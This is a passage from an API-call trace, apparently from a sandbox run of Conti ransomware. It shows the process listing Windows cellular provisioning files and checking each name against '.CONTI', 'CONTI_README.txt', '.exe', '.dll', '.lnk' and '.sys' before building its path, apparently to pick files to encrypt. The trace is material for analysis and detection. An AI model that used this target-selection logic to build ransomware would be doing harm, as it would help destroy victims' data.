	[0109.280] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b12dd6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b12dd6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b12dd6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="300__C~1.PRO")) returned 1
	[0109.280] lstrcmpiW (lpString1="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.280] lstrcmpiW (lpString1="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.280] StrStrIW (lpFirst="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.280] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.280] lstrlenW (lpString="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.280] GetProcessHeap () returned 0x1720000
	[0109.280] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6560290
	[0109.280] lstrcpyW (in: lpString1=0x6560290, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.280] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.280] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml"
	[0109.280] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="301__C~1.PRO")) returned 1
	[0109.284] lstrcmpiW (lpString1="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.284] lstrcmpiW (lpString1="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.284] StrStrIW (lpFirst="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.284] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.284] lstrlenW (lpString="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml") returned 83
	[0109.284] GetProcessHeap () returned 0x1720000
	[0109.284] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15c) returned 0x6870850
	[0109.284] lstrcpyW (in: lpString1=0x6870850, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.284] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.284] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml"
	[0109.284] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", cAlternateFileName="302__C~1.PRO")) returned 1
	[0109.284] lstrcmpiW (lpString1="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.284] lstrcmpiW (lpString1="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.284] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.285] StrStrIW (lpFirst="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.285] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.285] lstrlenW (lpString="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml") returned 83
	[0109.285] GetProcessHeap () returned 0x1720000
	[0109.285] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15c) returned 0x68709b8
	[0109.285] lstrcpyW (in: lpString1=0x68709b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.285] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.285] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml"
	[0109.285] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="303__C~1.PRO")) returned 1
	[0109.285] lstrcmpiW (lpString1="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.285] lstrcmpiW (lpString1="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.285] StrStrIW (lpFirst="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.285] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.285] lstrlenW (lpString="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.285] GetProcessHeap () returned 0x1720000
	[0109.285] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x6561158
	[0109.285] lstrcpyW (in: lpString1=0x6561158, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.285] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.285] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml"
	[0109.286] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b39042, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b39042, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b39042, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="304__C~1.PRO")) returned 1
	[0109.286] lstrcmpiW (lpString1="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.286] lstrcmpiW (lpString1="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.286] StrStrIW (lpFirst="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.286] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.286] lstrlenW (lpString="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.286] GetProcessHeap () returned 0x1720000
	[0109.286] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17e2290
	[0109.286] lstrcpyW (in: lpString1=0x17e2290, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.286] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.286] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.286] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", cAlternateFileName="305__C~1.PRO")) returned 1
	[0109.286] lstrcmpiW (lpString1="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.286] lstrcmpiW (lpString1="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.286] StrStrIW (lpFirst="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.286] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.286] lstrlenW (lpString="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.286] GetProcessHeap () returned 0x1720000
	[0109.286] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6b709d0
	[0109.287] lstrcpyW (in: lpString1=0x6b709d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.287] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.287] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml"
	[0109.287] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b5f2b1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90b5f2b1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90b5f2b1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", cAlternateFileName="306__C~1.PRO")) returned 1
	[0109.287] lstrcmpiW (lpString1="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.287] lstrcmpiW (lpString1="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.287] StrStrIW (lpFirst="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.287] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.287] lstrlenW (lpString="306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml") returned 67
	[0109.287] GetProcessHeap () returned 0x1720000
	[0109.287] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6b71d08
